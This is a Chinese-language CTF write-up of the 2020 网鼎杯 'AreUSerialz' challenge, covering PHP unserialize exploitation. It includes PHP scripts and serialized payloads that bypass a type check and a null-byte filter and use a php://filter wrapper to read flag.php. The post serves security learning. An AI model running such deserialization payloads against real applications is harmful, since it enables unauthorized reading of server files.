web:[网鼎杯 2020 青龙组]AreUSerialz

题目

点进题目发现

需要进行代码审计

复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里有__destruct()函数,在对象销毁时自动调用,根据$op属性的值进行一些操作,并重置属性的值,后再次调用process()方法,同时该函数会根据op变量值的不同,会相应调用读写函数

即op=="1",进入write方法,op=="2"进入read方法进行处理

总体解题思路为,构造反序列化给str变量,当主函数进行反序列化时,调用了FileHandler类,读取flag.php

复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

接收到名为str的get参数,参数会被反序列化,并创建一个对象,在反序列化之前,会使用is_valid()函数对字符串进行验证,传入的string要是可见字符串ascii值为32-125

这里要构造op=2,要联想至上面的destruct方法,当op=2时会自动执行魔术方法_destruct,绕过if($this->op==="2")这条强类型判断,2==="2"为假(左边为数字int,右边为字符串string),会执行process方法,2=="2"为真,执行read方法,读取文件

注意成员变量是protected属性,会在变名前加%00*%00,注意is_valid方法,%00的ascii码为0,无法通过检查,需要绕过

绕过方法:

1.php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

2.php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示

php伪协议进行读取

构造payload

复制代码
<?php

class FileHandler
{

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//伪协议转化为base64读取,php代码无法直接读取
    public $content;

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

直接传参得不到flag

反序列化完的结果看似没有包含0,但实际上有ascii码为0的

这里需要对$B进行两次替换操作

  • 使用 str_replace() 函数将字符串中的空字符(ASCII 值为 0)替换为 \00
  • 使用 str_replace() 函数将字符串中的 "s:" 替换为 "S:"。

构造payload

复制代码
<?php

class FileHandler
{

    protected $op = 2;
    protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

传参可得

查看源码

解码可得

参考文章链接:

https://www.cnblogs.com/akger/p/15137082.html

第二届网鼎杯(青龙组)部分wp-安全客 - 安全资讯平台

相关推荐
里欧跑得慢2 小时前
CSS 模块化架构的演进:BEM、CSS Modules 到 CSS-in-JS 的反思
前端·css·flutter·web·css-in-js
Latticy5 小时前
vulnhub系列靶机-mrRobot
web安全·网络安全·渗透测试
白猫不黑9 小时前
网络安全/信息安全专业学习路线与入行指南:从大学到岗位的完整规划
网络·学习·安全·web安全·网络安全·黑客技术
xierui1231239 小时前
AI Agent 隐私架构:本地化重点为什么是登录态与执行权限
java·人工智能·网络安全·架构
Chockmans11 小时前
春秋云境CVE-2025-49113
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2025-49113
白猫不黑12 小时前
从运维到网络安全:转行优势、路径与薪资前景全解析
运维·网络·web安全·网络安全·信息安全·渗透测试
AI备忘录13 小时前
(十一)DHCP 配置命令五厂商对照:华为 华三 锐捷 迈普 思科
服务器·网络·网络协议·网络安全·华为
新中地GIS开发老师13 小时前
WebGIS开发学生作品 | 基于无人机影像的烟草检测智能体与数字化管理平台
vue·web·mapbox·webgis
0xBADCODE13 小时前
Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程
前端·后端·python·安全·web安全·网络安全·flask
网安蟹佬霸1 天前
OSINT开源情报收集实战:从信息搜集到资产测绘(2026最新万字保姆级指南)
前端·网络·安全·web安全·网络安全·开源